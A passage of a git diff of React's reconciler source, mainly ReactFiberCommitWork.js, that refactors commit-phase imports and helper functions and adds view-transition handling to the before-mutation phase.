+  if (gesture) {
+    const clones = state.clones;
+    if (clones === null) {
+      previousMeasurements = null;
+    } else {
+      previousMeasurements = clones.map(measureClonedInstance);
+    }
+  } else {
+    previousMeasurements = oldFiber.memoizedState;
+    oldFiber.memoizedState = null; // Clear it. We won't need it anymore.
+  }
+  const inViewport = measureViewTransitionHostInstances(
+    finishedWork, // This is always finishedWork since it's used to assign flags.
+    newFiber.child, // This either current or finishedWork depending on if was a gesture.
+    newName,
+    oldName,
+    className,
+    previousMeasurements,
+    true,
+  );
+  const previousCount =
+    previousMeasurements === null ? 0 : previousMeasurements.length;
+  if (viewTransitionHostInstanceIdx !== previousCount) {
+    // If we found a different number of child DOM nodes we need to assume that
+    // the parent layout may have changed as a result. This is not necessarily
+    // true if those nodes were absolutely positioned.
+    finishedWork.flags |= AffectedParentLayout;
+  }
+  return inViewport;
+}
+
+export function measureNestedViewTransitions(
+  changedParent: Fiber,
+  gesture: boolean,
+): void {
+  let child = changedParent.child;
+  while (child !== null) {
+    if (child.tag === ViewTransitionComponent) {
+      const props: ViewTransitionProps = child.memoizedProps;
+      const state: ViewTransitionState = child.stateNode;
+      const name = getViewTransitionName(props, state);
+      const className: ?string = getViewTransitionClassName(
+        props.default,
+        props.update,
+      );
+      let previousMeasurements: null | Array<InstanceMeasurement>;
+      if (gesture) {
+        const clones = state.clones;
+        if (clones === null) {
+          previousMeasurements = null;
+        } else {
+          previousMeasurements = clones.map(measureClonedInstance);
+        }
+      } else {
+        previousMeasurements = child.memoizedState;
+        child.memoizedState = null; // Clear it. We won't need it anymore.
+      }
+      const inViewport = measureViewTransitionHostInstances(
+        child,
+        child.child,
+        name,
+        name, // Since this is unchanged, new and old name is the same.
+        className,
+        previousMeasurements,
+        false,
+      );
+      if ((child.flags & Update) === NoFlags || !inViewport) {
+        // Nothing changed.
+      } else {
+        if (gesture) {
+          scheduleGestureTransitionEvent(child, props.onGestureUpdate);
+        } else {
+          scheduleViewTransitionEvent(child, props.onUpdate);
+        }
+      }
+    } else if ((child.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+      measureNestedViewTransitions(child, gesture);
+    }
+    child = child.sibling;
+  }
+}
diff --git a/packages/react-reconciler/src/ReactFiberCommitWork.js b/packages/react-reconciler/src/ReactFiberCommitWork.js
index a8d37b5e4493..322c858bb9c0 100644
--- a/packages/react-reconciler/src/ReactFiberCommitWork.js
+++ b/packages/react-reconciler/src/ReactFiberCommitWork.js
@@ -10,51 +10,58 @@
 import type {
   Instance,
   TextInstance,
+  ActivityInstance,
   SuspenseInstance,
   Container,
-  ChildSet,
   HoistableRoot,
   FormInstance,
+  Props,
+  SuspendedState,
 } from './ReactFiberConfig';
 import type {Fiber, FiberRoot} from './ReactInternalTypes';
 import type {Lanes} from './ReactFiberLane';
-import {SyncLane} from './ReactFiberLane';
+import {
+  includesLoadingIndicatorLanes,
+  includesOnlySuspenseyCommitEligibleLanes,
+  includesOnlyViewTransitionEligibleLanes,
+} from './ReactFiberLane';
+import type {ActivityState} from './ReactFiberActivityComponent';
 import type {SuspenseState, RetryQueue} from './ReactFiberSuspenseComponent';
 import type {UpdateQueue} from './ReactFiberClassUpdateQueue';
 import type {FunctionComponentUpdateQueue} from './ReactFiberHooks';
-import type {Wakeable} from 'shared/ReactTypes';
-import {isOffscreenManual} from './ReactFiberActivityComponent';
+import type {Wakeable, ViewTransitionProps} from 'shared/ReactTypes';
 import type {
   OffscreenState,
   OffscreenInstance,
   OffscreenQueue,
-  OffscreenProps,
-} from './ReactFiberActivityComponent';
-import type {HookFlags} from './ReactHookEffectTags';
+} from './ReactFiberOffscreenComponent';
 import type {Cache} from './ReactFiberCacheComponent';
 import type {RootState} from './ReactFiberRoot';
+import type {Transition} from 'react/src/ReactStartTransition';
 import type {
-  Transition,
   TracingMarkerInstance,
   TransitionAbort,
 } from './ReactFiberTracingMarkerComponent';
+import type {ViewTransitionState} from './ReactFiberViewTransitionComponent';
 
 import {
   alwaysThrottleRetries,
   enableCreateEventHandleAPI,
+  enableEffectEventMutationPhase,
   enableProfilerTimer,
   enableProfilerCommitHooks,
-  enableProfilerNestedUpdatePhase,
-  enableSchedulingProfiler,
   enableSuspenseCallback,
   enableScopeAPI,
   enableUpdaterTracking,
-  enableCache,
   enableTransitionTracing,
-  enableUseEffectEventHook,
   enableLegacyHidden,
-  disableStringRefs,
   disableLegacyMode,
+  enableComponentPerformanceTrack,
+  enableViewTransition,
+  enableFragmentRefs,
+  enableEagerAlternateStateNodeCleanup,
+  enableDefaultTransitionIndicator,
+  enableFragmentRefsTextNodes,
 } from 'shared/ReactFeatureFlags';
 import {
   FunctionComponent,
@@ -67,6 +74,7 @@ import {
   HostText,
   HostPortal,
   Profiler,
+  ActivityComponent,
   SuspenseComponent,
   DehydratedFragment,
   IncompleteClassComponent,
@@ -78,6 +86,8 @@ import {
   LegacyHiddenComponent,
   CacheComponent,
   TracingMarkerComponent,
+  ViewTransitionComponent,
+  Fragment,
 } from './ReactWorkTags';
 import {
   NoFlags,
@@ -86,71 +96,76 @@ import {
   ChildDeletion,
   Snapshot,
   Update,
+  Hydrate,
   Callback,
   Ref,
   Hydrating,
   Passive,
   BeforeMutationMask,
+  BeforeAndAfterMutationTransitionMask,
   MutationMask,
   LayoutMask,
   PassiveMask,
+  PassiveTransitionMask,
   Visibility,
   ShouldSuspendCommit,
   MaySuspendCommit,
   FormReset,
+  Cloned,
+  PerformedWork,
+  ForceClientRender,
+  DidCapture,
+  AffectedParentLayout,
+  ViewTransitionNamedStatic,
+  PortalStatic,
 } from './ReactFiberFlags';
-import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
-import {runWithFiberInDEV} from './ReactCurrentFiber';
-import {resolveClassComponentProps} from './ReactFiberClassComponent';
 import {
-  isCurrentUpdateNested,
-  getCommitTime,
-  recordLayoutEffectDuration,
-  startLayoutEffectTimer,
-  recordPassiveEffectDuration,
-  startPassiveEffectTimer,
+  commitStartTime,
+  pushNestedEffectDurations,
+  popNestedEffectDurations,
+  bubbleNestedEffectDurations,
+  resetComponentEffectTimers,
+  pushComponentEffectStart,
+  popComponentEffectStart,
+  pushComponentEffectDuration,
+  popComponentEffectDuration,
+  pushComponentEffectErrors,
+  popComponentEffectErrors,
+  pushComponentEffectDidSpawnUpdate,
+  popComponentEffectDidSpawnUpdate,
+  componentEffectStartTime,
+  componentEffectEndTime,
+  componentEffectDuration,
+  componentEffectErrors,
+  componentEffectSpawnedUpdate,
 } from './ReactProfilerTimer';
-import {ConcurrentMode, NoMode, ProfileMode} from './ReactTypeOfMode';
 import {
-  deferHiddenCallbacks,
-  commitHiddenCallbacks,
-  commitCallbacks,
-} from './ReactFiberClassUpdateQueue';
+  logComponentRender,
+  logComponentErrored,
+  logComponentEffect,
+  logComponentMount,
+  logComponentUnmount,
+  logComponentReappeared,
+  logComponentDisappeared,
+  pushDeepEquality,
+  popDeepEquality,
+} from './ReactFiberPerformanceTrack';
+import {ConcurrentMode, NoMode, ProfileMode} from './ReactTypeOfMode';
+import {deferHiddenCallbacks} from './ReactFiberClassUpdateQueue';
 import {
-  getPublicInstance,
   supportsMutation,
   supportsPersistence,
   supportsHydration,
   supportsResources,
   supportsSingletons,
-  commitMount,
-  commitUpdate,
-  resetTextContent,
-  commitTextUpdate,
-  appendChild,
-  appendChildToContainer,
-  insertBefore,
-  insertInContainerBefore,
-  removeChild,
-  removeChildFromContainer,
   clearSuspenseBoundary,
   clearSuspenseBoundaryFromContainer,
-  replaceContainerChildren,
   createContainerChildSet,
-  hideInstance,
-  hideTextInstance,
-  unhideInstance,
-  unhideTextInstance,
-  commitHydratedContainer,
-  commitHydratedSuspenseInstance,
   clearContainer,
   prepareScopeUpdate,
   prepareForCommit,
   beforeActiveInstanceBlur,
   detachDeletedInstance,
-  clearSingleton,
-  acquireSingletonInstance,
-  releaseSingletonInstance,
   getHoistableRoot,
   acquireResource,
   releaseResource,
@@ -158,15 +173,21 @@ import {
   mountHoistable,
   unmountHoistable,
   prepareToCommitHoistables,
+  maySuspendCommitInSyncRender,
   suspendInstance,
   suspendResource,
   resetFormInstance,
+  registerSuspenseInstanceRetry,
+  cancelViewTransitionName,
+  cancelRootViewTransitionName,
+  restoreRootViewTransitionName,
+  isSingletonScope,
+  updateFragmentInstanceFiber,
 } from './ReactFiberConfig';
 import {
   captureCommitPhaseError,
   resolveRetryWakeable,
   markCommitTimeOfFallback,
-  enqueuePendingPassiveProfilerEffect,
   restorePendingUpdaters,
   addTransitionStartCallbackToPendingTransition,
   addTransitionProgressCallbackToPendingTransition,
@@ -174,55 +195,107 @@ import {
   addMarkerProgressCallbackToPendingTransition,
   addMarkerIncompleteCallbackToPendingTransition,
   addMarkerCompleteCallbackToPendingTransition,
-  setIsRunningInsertionEffect,
-  getExecutionContext,
-  CommitContext,
-  NoContext,
+  retryDehydratedSuspenseBoundary,
+  scheduleViewTransitionEvent,
 } from './ReactFiberWorkLoop';
 import {
-  NoFlags as NoHookEffect,
   HasEffect as HookHasEffect,
   Layout as HookLayout,
   Insertion as HookInsertion,
   Passive as HookPassive,
 } from './ReactHookEffectTags';
-import {didWarnAboutReassigningProps} from './ReactFiberBeginWork';
 import {doesFiberContain} from './ReactFiberTreeReflection';
-import {
-  isDevToolsPresent,
-  markComponentPassiveEffectMountStarted,
-  markComponentPassiveEffectMountStopped,
-  markComponentPassiveEffectUnmountStarted,
-  markComponentPassiveEffectUnmountStopped,
-  markComponentLayoutEffectMountStarted,
-  markComponentLayoutEffectMountStopped,
-  markComponentLayoutEffectUnmountStarted,
-  markComponentLayoutEffectUnmountStopped,
-  onCommitUnmount,
-} from './ReactFiberDevToolsHook';
+import {isDevToolsPresent, onCommitUnmount} from './ReactFiberDevToolsHook';
 import {releaseCache, retainCache} from './ReactFiberCacheComponent';
 import {clearTransitionsForLanes} from './ReactFiberLane';
 import {
   OffscreenVisible,
-  OffscreenDetached,
   OffscreenPassiveEffectsConnected,
-} from './ReactFiberActivityComponent';
+} from './ReactFiberOffscreenComponent';
 import {
   TransitionRoot,
   TransitionTracingMarker,
 } from './ReactFiberTracingMarkerComponent';
-import {scheduleUpdateOnFiber} from './ReactFiberWorkLoop';
-import {enqueueConcurrentRenderForLane} from './ReactFiberConcurrentUpdates';
-
-let didWarnAboutUndefinedSnapshotBeforeUpdate: Set<mixed> | null = null;
-if (__DEV__) {
-  didWarnAboutUndefinedSnapshotBeforeUpdate = new Set();
-}
+import {getViewTransitionClassName} from './ReactFiberViewTransitionComponent';
+import {
+  commitHookLayoutEffects,
+  commitHookLayoutUnmountEffects,
+  commitHookEffectListMount,
+  commitHookEffectListUnmount,
+  commitHookPassiveMountEffects,
+  commitHookPassiveUnmountEffects,
+  commitClassLayoutLifecycles,
+  commitClassDidMount,
+  commitClassCallbacks,
+  commitClassHiddenCallbacks,
+  commitClassSnapshot,
+  safelyCallComponentWillUnmount,
+  safelyAttachRef,
+  safelyDetachRef,
+  commitProfilerUpdate,
+  commitProfilerPostCommit,
+  commitRootCallbacks,
+} from './ReactFiberCommitEffects';
+import {
+  commitHostMount,
+  commitHostHydratedInstance,
+  commitHostUpdate,
+  commitHostTextUpdate,
+  commitHostResetTextContent,
+  commitShowHideSuspenseBoundary,
+  commitShowHideHostInstance,
+  commitShowHideHostTextInstance,
+  commitHostPlacement,
+  commitHostRootContainerChildren,
+  commitHostPortalContainerChildren,
+  commitHostHydratedContainer,
+  commitHostHydratedActivity,
+  commitHostHydratedSuspense,
+  commitHostRemoveChildFromContainer,
+  commitHostRemoveChild,
+  commitHostSingletonAcquisition,
+  commitHostSingletonRelease,
+  commitFragmentInstanceDeletionEffects,
+  commitFragmentInstanceInsertionEffects,
+} from './ReactFiberCommitHostEffects';
+import {
+  trackEnterViewTransitions,
+  commitEnterViewTransitions,
+  commitExitViewTransitions,
+  commitBeforeUpdateViewTransition,
+  commitNestedViewTransitions,
+  restoreEnterOrExitViewTransitions,
+  restoreUpdateViewTransition,
+  restoreNestedViewTransitions,
+  measureUpdateViewTransition,
+  measureNestedViewTransitions,
+  resetAppearingViewTransitions,
+  trackAppearingViewTransition,
+  viewTransitionCancelableChildren,
+  pushViewTransitionCancelableScope,
+  popViewTransitionCancelableScope,
+} from './ReactFiberCommitViewTransitions';
+import {
+  viewTransitionMutationContext,
+  pushRootMutationContext,
+  pushMutationContext,
+  popMutationContext,
+  rootMutationContext,
+} from './ReactFiberMutationTracking';
+import {
+  trackNamedViewTransition,
+  untrackNamedViewTransition,
+} from './ReactFiberDuplicateViewTransitions';
+import {markIndicatorHandled} from './ReactFiberRootScheduler';
+import type {Flags} from './ReactFiberFlags';
 
 // Used during the commit phase to track the state of the Offscreen component stack.
 // Allows us to avoid traversing the return path to find the nearest Offscreen ancestor.
 let offscreenSubtreeIsHidden: boolean = false;
 let offscreenSubtreeWasHidden: boolean = false;
+// Track whether there's a hidden offscreen above with no HostComponent between. If so,
+// it overrides the hiddenness of the HostComponent below.
+let offscreenDirectParentIsHidden: boolean = false;
 
 // Used to track if a form needs to be reset at the end of the mutation phase.
 let needsFormReset = false;
@@ -235,179 +308,158 @@ let nextEffect: Fiber | null = null;
 let inProgressLanes: Lanes | null = null;
 let inProgressRoot: FiberRoot | null = null;
 
-function shouldProfile(current: Fiber): boolean {
-  return (
-    enableProfilerTimer &&
-    enableProfilerCommitHooks &&
-    (current.mode & ProfileMode) !== NoMode &&
-    (getExecutionContext() & CommitContext) !== NoContext
-  );
-}
-
-function callComponentWillUnmountWithTimer(current: Fiber, instance: any) {
-  instance.props = resolveClassComponentProps(
-    current.type,
-    current.memoizedProps,
-    current.elementType === current.type,
-  );
-  instance.state = current.memoizedState;
-  if (shouldProfile(current)) {
-    try {
-      startLayoutEffectTimer();
-      instance.componentWillUnmount();
-    } finally {
-      recordLayoutEffectDuration(current);
-    }
+let focusedInstanceHandle: null | Fiber = null;
+export let shouldFireAfterActiveInstanceBlur: boolean = false;
+
+// Used during the commit phase to track whether a parent ViewTransition component
+// might have been affected by any mutations / relayouts below.
+let viewTransitionContextChanged: boolean = false;
+let inUpdateViewTransition: boolean = false;
+let rootViewTransitionAffected: boolean = false;
+let rootViewTransitionNameCanceled: boolean = false;
+
+function isHydratingParent(current: Fiber, finishedWork: Fiber): boolean {
+  if (finishedWork.tag === ActivityComponent) {
+    const prevState: ActivityState | null = current.memoizedState;
+    const nextState: ActivityState | null = finishedWork.memoizedState;
+    return prevState !== null && nextState === null;
+  } else if (finishedWork.tag === SuspenseComponent) {
+    const prevState: SuspenseState | null = current.memoizedState;
+    const nextState: SuspenseState | null = finishedWork.memoizedState;
+    return (
+      prevState !== null &&
+      prevState.dehydrated !== null &&
+      (nextState === null || nextState.dehydrated === null)
+    );
+  } else if (finishedWork.tag === HostRoot) {
+    return (
+      (current.memoizedState: RootState).isDehydrated &&
+      (finishedWork.flags & ForceClientRender) === NoFlags
+    );
   } else {
-    instance.componentWillUnmount();
-  }
-}
-
-// Capture errors so they don't interrupt unmounting.
-function safelyCallComponentWillUnmount(
-  current: Fiber,
-  nearestMountedAncestor: Fiber | null,
-  instance: any,
-) {
-  try {
-    callComponentWillUnmountWithTimer(current, instance);
-  } catch (error) {
-    captureCommitPhaseError(current, nearestMountedAncestor, error);
-  }
-}
-
-// Capture errors so they don't interrupt mounting.
-function safelyAttachRef(current: Fiber, nearestMountedAncestor: Fiber | null) {
-  try {
-    commitAttachRef(current);
-  } catch (error) {
-    captureCommitPhaseError(current, nearestMountedAncestor, error);
-  }
-}
-
-function safelyDetachRef(current: Fiber, nearestMountedAncestor: Fiber | null) {
-  const ref = current.ref;
-  const refCleanup = current.refCleanup;
-
-  if (ref !== null) {
-    if (typeof refCleanup === 'function') {
-      try {
-        if (shouldProfile(current)) {
-          try {
-            startLayoutEffectTimer();
-            refCleanup();
-          } finally {
-            recordLayoutEffectDuration(current);
-          }
-        } else {
-          refCleanup();
-        }
-      } catch (error) {
-        captureCommitPhaseError(current, nearestMountedAncestor, error);
-      } finally {
-        // `refCleanup` has been called. Nullify all references to it to prevent double invocation.
-        current.refCleanup = null;
-        const finishedWork = current.alternate;
-        if (finishedWork != null) {
-          finishedWork.refCleanup = null;
-        }
-      }
-    } else if (typeof ref === 'function') {
-      try {
-        if (shouldProfile(current)) {
-          try {
-            startLayoutEffectTimer();
-            ref(null);
-          } finally {
-            recordLayoutEffectDuration(current);
-          }
-        } else {
-          ref(null);
-        }
-      } catch (error) {
-        captureCommitPhaseError(current, nearestMountedAncestor, error);
-      }
-    } else {
-      // $FlowFixMe[incompatible-use] unable to narrow type to RefObject
-      ref.current = null;
-    }
+    return false;
   }
 }
 
-function safelyCallDestroy(
-  current: Fiber,
-  nearestMountedAncestor: Fiber | null,
-  destroy: () => void,
-) {
-  try {
-    destroy();
-  } catch (error) {
-    captureCommitPhaseError(current, nearestMountedAncestor, error);
-  }
-}
-
-let focusedInstanceHandle: null | Fiber = null;
-let shouldFireAfterActiveInstanceBlur: boolean = false;
-
 export function commitBeforeMutationEffects(
   root: FiberRoot,
   firstChild: Fiber,
-): boolean {
+  committedLanes: Lanes,
+): void {
   focusedInstanceHandle = prepareForCommit(root.containerInfo);
+  shouldFireAfterActiveInstanceBlur = false;
+
+  const isViewTransitionEligible =
+    enableViewTransition &&
+    includesOnlyViewTransitionEligibleLanes(committedLanes);
 
   nextEffect = firstChild;
-  commitBeforeMutationEffects_begin();
+  commitBeforeMutationEffects_begin(isViewTransitionEligible);
 
   // We no longer need to track the active instance fiber
-  const shouldFire = shouldFireAfterActiveInstanceBlur;
-  shouldFireAfterActiveInstanceBlur = false;
   focusedInstanceHandle = null;
-
-  return shouldFire;
+  // We've found any matched pairs and can now reset.
+  resetAppearingViewTransitions();
 }
 
-function commitBeforeMutationEffects_begin() {
+function commitBeforeMutationEffects_begin(isViewTransitionEligible: boolean) {
+  // If this commit is eligible for a View Transition we look into all mutated subtrees.
+  // TODO: We could optimize this by marking these with the Snapshot subtree flag in the render phase.
+  const subtreeMask = isViewTransitionEligible
+    ? BeforeAndAfterMutationTransitionMask
+    : BeforeMutationMask;
   while (nextEffect !== null) {
     const fiber = nextEffect;
 
     // This phase is only used for beforeActiveInstanceBlur.
     // Let's skip the whole loop if it's off.
-    if (enableCreateEventHandleAPI) {
+    if (enableCreateEventHandleAPI || isViewTransitionEligible) {
       // TODO: Should wrap this in flags check, too, as optimization
       const deletions = fiber.deletions;
       if (deletions !== null) {
         for (let i = 0; i < deletions.length; i++) {
           const deletion = deletions[i];
-          commitBeforeMutationEffectsDeletion(deletion);
+          commitBeforeMutationEffectsDeletion(
+            deletion,
+            isViewTransitionEligible,
+          );
         }
       }
     }
 
-    const child = fiber.child;
     if (
-      (fiber.subtreeFlags & BeforeMutationMask) !== NoFlags &&
-      child !== null
+      enableViewTransition &&
+      fiber.alternate === null &&
+      (fiber.flags & Placement) !== NoFlags
     ) {
+      // Skip before mutation effects of the children because we don't want
+      // to trigger updates of any nested view transitions and we shouldn't
+      // have any other before mutation effects since snapshot effects are
+      // only applied to updates. TODO: Model this using only flags.
+      if (isViewTransitionEligible) {
+        trackEnterViewTransitions(fiber);
+      }
+      commitBeforeMutationEffects_complete(isViewTransitionEligible);
+      continue;
+    }
+
+    // TODO: This should really unify with the switch in commitBeforeMutationEffectsOnFiber recursively.
+    if (enableViewTransition && fiber.tag === OffscreenComponent) {
+      const isModernRoot =
+        disableLegacyMode || (fiber.mode & ConcurrentMode) !== NoMode;
+      if (isModernRoot) {
+        const current = fiber.alternate;
+        const isHidden = fiber.memoizedState !== null;
+        if (isHidden) {
+          if (
+            current !== null &&
+            current.memoizedState === null &&
+            isViewTransitionEligible
+          ) {
+            // Was previously mounted as visible but is now hidden.
+            commitExitViewTransitions(current);
+          }
+          // Skip before mutation effects of the children because they're hidden.
+          commitBeforeMutationEffects_complete(isViewTransitionEligible);
+          continue;
+        } else if (current !== null && current.memoizedState !== null) {
+          // Was previously mounted as hidden but is now visible.
+          // Skip before mutation effects of the children because we don't want
+          // to trigger updates of any nested view transitions and we shouldn't
+          // have any other before mutation effects since snapshot effects are
+          // only applied to updates. TODO: Model this using only flags.
+          if (isViewTransitionEligible) {
+            trackEnterViewTransitions(fiber);
+          }
+          commitBeforeMutationEffects_complete(isViewTransitionEligible);
+          continue;
+        }
+      }
+    }
+
+    const child = fiber.child;
+    if ((fiber.subtreeFlags & subtreeMask) !== NoFlags && child !== null) {
       child.return = fiber;
       nextEffect = child;
     } else {
-      commitBeforeMutationEffects_complete();
+      if (isViewTransitionEligible) {
+        // We are inside an updated subtree. Any mutations that affected the
+        // parent HostInstance's layout or set of children (such as reorders)
+        // might have also affected the positioning or size of the inner
+        // ViewTransitions. Therefore we need to find them inside.
+        commitNestedViewTransitions(fiber);
+      }
+      commitBeforeMutationEffects_complete(isViewTransitionEligible);
     }
   }
 }
 
-function commitBeforeMutationEffects_complete() {
+function commitBeforeMutationEffects_complete(
+  isViewTransitionEligible: boolean,
+) {
   while (nextEffect !== null) {
     const fiber = nextEffect;
-    try {
-      if (__DEV__) {
-        runWithFiberInDEV(fiber, commitBeforeMutationEffectsOnFiber, fiber);
-      } else {
-        commitBeforeMutationEffectsOnFiber(fiber);
-      }
-    } catch (error) {
-      captureCommitPhaseError(fiber, fiber.return, error);
-    }
+    commitBeforeMutationEffectsOnFiber(fiber, isViewTransitionEligible);
 
     const sibling = fiber.sibling;
     if (sibling !== null) {
@@ -420,7 +472,10 @@ function commitBeforeMutationEffects_complete() {
   }
 }
 
-function commitBeforeMutationEffectsOnFiber(finishedWork: Fiber) {
+function commitBeforeMutationEffectsOnFiber(
+  finishedWork: Fiber,
+  isViewTransitionEligible: boolean,
+) {
   const current = finishedWork.alternate;
   const flags = finishedWork.flags;
 
@@ -428,6 +483,7 @@ function commitBeforeMutationEffectsOnFiber(finishedWork: Fiber) {
     if (!shouldFireAfterActiveInstanceBlur && focusedInstanceHandle !== null) {
       // Check to see if the focused element was inside of a hidden (Suspense) subtree.
       // TODO: Move this out of the hot path using a dedicated effect tag.
+      // TODO: This should consider Offscreen in general and not just SuspenseComponent.
       if (
         finishedWork.tag === SuspenseComponent &&
         isSuspenseBoundaryBeingHidden(current, finishedWork) &&
@@ -441,76 +497,26 @@ function commitBeforeMutationEffectsOnFiber(finishedWork: Fiber) {
   }
 
   switch (finishedWork.tag) {
-    case FunctionComponent: {
-      if (enableUseEffectEventHook) {
-        if ((flags & Update) !== NoFlags) {
-          commitUseEffectEventMount(finishedWork);
-        }
-      }
-      break;
-    }
+    case FunctionComponent:
     case ForwardRef:
     case SimpleMemoComponent: {
+      if (!enableEffectEventMutationPhase && (flags & Update) !== NoFlags) {
+        const updateQueue: FunctionComponentUpdateQueue | null =
+          (finishedWork.updateQueue: any);
+        const eventPayloads = updateQueue !== null ? updateQueue.events : null;
+        if (eventPayloads !== null) {
+          for (let ii = 0; ii < eventPayloads.length; ii++) {
+            const {ref, nextImpl} = eventPayloads[ii];
+            ref.impl = nextImpl;
+          }
+        }
+      }
       break;
     }
     case ClassComponent: {
       if ((flags & Snapshot) !== NoFlags) {
         if (current !== null) {
-          const prevProps = current.memoizedProps;
-          const prevState = current.memoizedState;
-          const instance = finishedWork.stateNode;
-          // We could update instance props and state here,
-          // but instead we rely on them being set during last render.
-          // TODO: revisit this when we implement resuming.
-          if (__DEV__) {
-            if (
-              !finishedWork.type.defaultProps &&
-              !('ref' in finishedWork.memoizedProps) &&
-              !didWarnAboutReassigningProps
-            ) {
-              if (instance.props !== finishedWork.memoizedProps) {
-                console.error(
-                  'Expected %s props to match memoized props before ' +
-                    'getSnapshotBeforeUpdate. ' +
-                    'This might either be because of a bug in React, or because ' +
-                    'a component reassigns its own `this.props`. ' +
-                    'Please file an issue.',
-                  getComponentNameFromFiber(finishedWork) || 'instance',
-                );
-              }
-              if (instance.state !== finishedWork.memoizedState) {
-                console.error(
-                  'Expected %s state to match memoized state before ' +
-                    'getSnapshotBeforeUpdate. ' +
-                    'This might either be because of a bug in React, or because ' +
-                    'a component reassigns its own `this.state`. ' +
-                    'Please file an issue.',
-                  getComponentNameFromFiber(finishedWork) || 'instance',
-                );
-              }
-            }
-          }
-          const snapshot = instance.getSnapshotBeforeUpdate(
-            resolveClassComponentProps(
-              finishedWork.type,
-              prevProps,
-              finishedWork.elementType === finishedWork.type,
-            ),
-            prevState,
-          );
-          if (__DEV__) {
-            const didWarnSet =
-              ((didWarnAboutUndefinedSnapshotBeforeUpdate: any): Set<mixed>);
-            if (snapshot === undefined && !didWarnSet.has(finishedWork.type)) {
-              didWarnSet.add(finishedWork.type);
-              console.error(
-                '%s.getSnapshotBeforeUpdate(): A snapshot value (or null) ' +
-                  'must be returned. You have returned undefined.',
-                getComponentNameFromFiber(finishedWork),
-              );
-            }
-          }
-          instance.__reactInternalSnapshotBeforeUpdate = snapshot;
+          commitClassSnapshot(finishedWork, current);
         }
       }
       break;
@@ -532,6 +538,26 @@ function commitBeforeMutationEffectsOnFiber(finishedWork: Fiber) {
     case IncompleteClassComponent:
       // Nothing to do for these component types
       break;
+    case ViewTransitionComponent:
+      if (enableViewTransition) {
+        if (isViewTransitionEligible) {
+          if (current === null) {
+            // This is a new mount. We should have handled this as part of the
+            // Placement effect or it is deeper inside a entering transition.
+          } else {
+            // Something may have mutated within this subtree. This might need to cause
+            // a cross-fade of this parent. We first assign old names to the
+            // previous tree in the before mutation phase in case we need to.
+            // TODO: This walks the tree that we might continue walking anyway.
+            // We should just stash the parent ViewTransitionComponent and continue
+            // walking the tree until we find HostComponent but to do that we need
+            // to use a stack which requires refactoring this phase.
+            commitBeforeUpdateViewTransition(current, finishedWork);
+          }
+        }
+        break;
+      }
+    // Fallthrough
     default: {
       if ((flags & Snapshot) !== NoFlags) {
         throw new Error(
@@ -543,7 +569,10 @@ function commitBeforeMutationEffectsOnFiber(finishedWork: Fiber) {
   }
 }
 
-function commitBeforeMutationEffectsDeletion(deletion: Fiber) {
+function commitBeforeMutationEffectsDeletion(
+  deletion: Fiber,
+  isViewTransitionEligible: boolean,
+) {
   if (enableCreateEventHandleAPI) {
     // TODO (effects) It would be nice to avoid calling doesFiberContain()
     // Maybe we can repurpose one of the subtreeFlags positions for this instead?
@@ -554,512 +583,109 @@ function commitBeforeMutationEffectsDeletion(deletion: Fiber) {
       beforeActiveInstanceBlur(deletion);
     }
   }
-}
-
-function commitHookEffectListUnmount(
-  flags: HookFlags,
-  finishedWork: Fiber,
-  nearestMountedAncestor: Fiber | null,
-) {
-  const updateQueue: FunctionComponentUpdateQueue | null =
-    (finishedWork.updateQueue: any);
-  const lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
-  if (lastEffect !== null) {
-    const firstEffect = lastEffect.next;
-    let effect = firstEffect;
-    do {
-      if ((effect.tag & flags) === flags) {
-        // Unmount
-        const inst = effect.inst;
-        const destroy = inst.destroy;
-        if (destroy !== undefined) {
-          inst.destroy = undefined;
-          if (enableSchedulingProfiler) {
-            if ((flags & HookPassive) !== NoHookEffect) {
-              markComponentPassiveEffectUnmountStarted(finishedWork);
-            } else if ((flags & HookLayout) !== NoHookEffect) {
-              markComponentLayoutEffectUnmountStarted(finishedWork);
-            }
-          }
-
-          if (__DEV__) {
-            if ((flags & HookInsertion) !== NoHookEffect) {
-              setIsRunningInsertionEffect(true);
-            }
-          }
-          safelyCallDestroy(finishedWork, nearestMountedAncestor, destroy);
-          if (__DEV__) {
-            if ((flags & HookInsertion) !== NoHookEffect) {
-              setIsRunningInsertionEffect(false);
-            }
-          }
-
-          if (enableSchedulingProfiler) {
-            if ((flags & HookPassive) !== NoHookEffect) {
-              markComponentPassiveEffectUnmountStopped();
-            } else if ((flags & HookLayout) !== NoHookEffect) {
-              markComponentLayoutEffectUnmountStopped();
-            }
-          }
-        }
-      }
-      effect = effect.next;
-    } while (effect !== firstEffect);
-  }
-}
-
-function commitHookEffectListMount(flags: HookFlags, finishedWork: Fiber) {
-  const updateQueue: FunctionComponentUpdateQueue | null =
-    (finishedWork.updateQueue: any);
-  const lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
-  if (lastEffect !== null) {
-    const firstEffect = lastEffect.next;
-    let effect = firstEffect;
-    do {
-      if ((effect.tag & flags) === flags) {
-        if (enableSchedulingProfiler) {
-          if ((flags & HookPassive) !== NoHookEffect) {
-            markComponentPassiveEffectMountStarted(finishedWork);
-          } else if ((flags & HookLayout) !== NoHookEffect) {
-            markComponentLayoutEffectMountStarted(finishedWork);
-          }
-        }
-
-        // Mount
-        const create = effect.create;
-        if (__DEV__) {
-          if ((flags & HookInsertion) !== NoHookEffect) {
-            setIsRunningInsertionEffect(true);
-          }
-        }
-        const inst = effect.inst;
-        const destroy = create();
-        inst.destroy = destroy;
-        if (__DEV__) {
-          if ((flags & HookInsertion) !== NoHookEffect) {
-            setIsRunningInsertionEffect(false);
-          }
-        }
-
-        if (enableSchedulingProfiler) {
-          if ((flags & HookPassive) !== NoHookEffect) {
-            markComponentPassiveEffectMountStopped();
-          } else if ((flags & HookLayout) !== NoHookEffect) {
-            markComponentLayoutEffectMountStopped();
-          }
-        }
-
-        if (__DEV__) {
-          if (destroy !== undefined && typeof destroy !== 'function') {
-            let hookName;
-            if ((effect.tag & HookLayout) !== NoFlags) {
-              hookName = 'useLayoutEffect';
-            } else if ((effect.tag & HookInsertion) !== NoFlags) {
-              hookName = 'useInsertionEffect';
-            } else {
-              hookName = 'useEffect';
-            }
-            let addendum;
-            if (destroy === null) {
-              addendum =
-                ' You returned null. If your effect does not require clean ' +
-                'up, return undefined (or nothing).';
-            } else if (typeof destroy.then === 'function') {
-              addendum =
-                '\n\nIt looks like you wrote ' +
-                hookName +
-                '(async () => ...) or returned a Promise. ' +
